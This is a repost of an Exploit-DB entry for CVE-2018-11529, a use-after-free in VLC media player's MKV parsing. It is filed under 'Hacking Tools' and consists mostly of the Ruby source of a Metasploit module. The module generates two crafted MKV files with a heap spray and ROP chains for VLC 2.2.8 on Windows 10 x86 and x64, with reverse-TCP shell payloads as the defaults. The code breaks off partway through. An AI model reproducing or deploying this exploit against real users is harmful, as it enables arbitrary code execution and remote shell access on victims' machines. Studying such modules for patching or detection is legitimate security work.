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CVE-2018-11529: VLC Media Player - MKV Use-After-Free (Metasploit)

CVE-2018-11529: VLC Media Player - MKV Use-After-Free (Metasploit)

By Admin •  2018-12-08T08:27:43.986Z •  Hacking Tools

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CVE-2018-11529: VLC Media Player - MKV Use-After-Free (Metasploit)


EDB-ID: 45626

CVE: CVE-2018-11529

E-DB Verified: Yes

Author: Metasploit

Type: Local

Published: 2018-10-16

Platform: Windows


Description about CVE-2018-11529:

CVE-2018-11529%2Bmin


   VideoLAN VLC media player 2.2.x is prone to a use after free vulnerability which an attacker can leverage to execute arbitrary code via crafted MKV files. Failed exploit attempts will likely result in denial of service conditions.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
class MetasploitModule < Msf::Exploit
 Rank = GreatRanking
 
 include Msf::Exploit::FILEFORMAT
 
 def initialize(info = {})
 super(update_info(info,
 'Name' => 'VLC Media Player MKV Use After Free',
 'Description' => %q(
 This module exploits a use after free vulnerability in
 VideoLAN VLC =< 2.2.8. The vulnerability exists in the parsing of
 MKV files and affects both 32 bits and 64 bits.
 
 In order to exploit this, this module will generate two files:
 The first .mkv file contains the main vulnerability and heap spray,
 the second .mkv file is required in order to take the vulnerable code
 path and should be placed under the same directory as the .mkv file.
 
 This module has been tested against VLC v2.2.8. Tested with payloads
 windows/exec, windows/x64/exec, windows/shell/reverse_tcp,
 windows/x64/shell/reverse_tcp. Meterpreter payloads if used can
 cause the application to crash instead.
 ),
 'License' => MSF_LICENSE,
 'Author' => [
 'Eugene Ng - GovTech', # Vulnerability Discovery, Exploit
 'Winston Ho - GovTech', # Metasploit Module
 ],
 'References' =>
 [
 ['CVE', '2018-11529'],
 ['URL', 'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-11529'],
 ['EDB', '44979']
 ],
 'Payload' =>
 {
 'Space' => 0x300,
 'DisableNops' => true
 },
 'Platform' => 'win',
 'Targets' => [
 [
 'VLC 2.2.8 on Windows 10 x86',
 {
 'Platform' => 'win',
 'Arch' => [ARCH_X86],
 'Ret' => 0x22000020,
 'ExitPointer' => 0x00411364,
 'DefaultOptions' => {'PAYLOAD' => 'windows/shell/reverse_tcp'},
 'RopChain' => [
 0x0040ae91, # XCHG EAX,ESP # ADD BYTE PTR [ECX],AL # MOV EAX,DWORD PTR [EAX] # RET
 0x00407086, # POP EDI # RETN [vlc.exe]
 0x00000040, # 0x00000040-> edx
 0x0040b058, # MOV EDX,EDI # POP ESI # POP EDI # POP EBP # RETN [vlc.exe]
 0x41414141, # Filler (compensate)
 0x41414141, # Filler (compensate)
 0x41414141, # Filler (compensate)
 0x004039c7, # POP EAX # POP ECX # RETN [vlc.exe]
 0x22000030, # Filler (compensate) for rol [eax] below
 0x41414141, # Filler (compensate)
 0x004039c8, # POP ECX # RETN [vlc.exe]
 0x0041193d, # &Writable location [vlc.exe]
 0x00409d18, # POP EBX # RETN [vlc.exe]
 0x00000201, # 0x00000201-> ebx
 0x0040a623, # POP EBP # RETN [vlc.exe]
 0x0040a623, # POP EBP # RETN [vlc.exe]
 0x004036CB, # POP ESI # RETN [vlc.exe]
 0x0040848c, # JMP ds:[EAX * 4 + 40e000] [vlc.exe]
 0x00407086, # POP EDI # RETN [vlc.exe]
 0x0040ae95, # MOV EAX,DWORD PTR [EAX] # RETN [vlc.exe]
 0x0040af61, # PUSHAD # ROL BYTE PTR [EAX], 0FFH # LOOPNE VLC+0XAEF8 (0040AEF8)
 0x22000020 + 0x5e0, # Shellcode
 ]
 }
 ],
 [
 'VLC 2.2.8 on Windows 10 x64',
 {
 'Platform' => 'win',
 'Arch' => [ARCH_X64],
 'Ret' => 0x40000040,
 'ExitPointer' => 0x00412680,
 'DefaultOptions' => {'PAYLOAD' => 'windows/x64/shell/reverse_tcp'},
 'RopChain' => [
 0x004037ac, # XCHG EAX,ESP # ROL BL,90H # CMP WORD PTR [RCX],5A4DH # JE VLC+0X37C0 (00000000`004037C0) # XOR EAX,EAX # RET
 0x00403b60, # POP RCX # RET
 0x40000040, # lpAddress
 0x004011c2, # POP RDX # RET
 0x00001000, # dwSize
 0x0040ab70, # JMP VirtualProtect
 0x40000040 + 0x700, # Payload
 ]
 }
 ]
 ],
 'Privileged' => false,
 'DisclosureDate' => 'May 24 2018',
 'DefaultTarget' => 1))
 
 register_options [
 OptString.new('MKV_ONE', [false, 'mkv that should be opened', '']),
 OptString.new('MKV_TWO', [false, 'The auxiliary file name.', ''])
 ]
 
 deregister_options('FILENAME')
 end
 
 def to_bytes(num, length, endianess = 'big')
 h = format('%x', num: num)
 s = ('0' * (h.length % 2) + h).rjust(length * 2)
 s = s.scan(/.{2}/).map! { |x| x.hex.chr }.join
 endianess == 'big' ? s : s.reverse
 end
 
 def data_size(number, numbytes = (1...9))
 # encode 'number' as an EBML variable-size integer.
 numbytes = [numbytes] if numbytes.is_a?(Integer)
 numbytes.each do |size|
 bits = size * 7
 return to_bytes(((1 << bits) + number), size) if number <= (1 << bits) - 2
 end
 fail_with(Failure::BadConfig, "Can't store #{number} in #{size} bytes")
 end
 
 def build_data(size)
 block_size = 0x1000
 
 if target.arch.first == ARCH_X64
 target_address_packed = [target.ret].pack("
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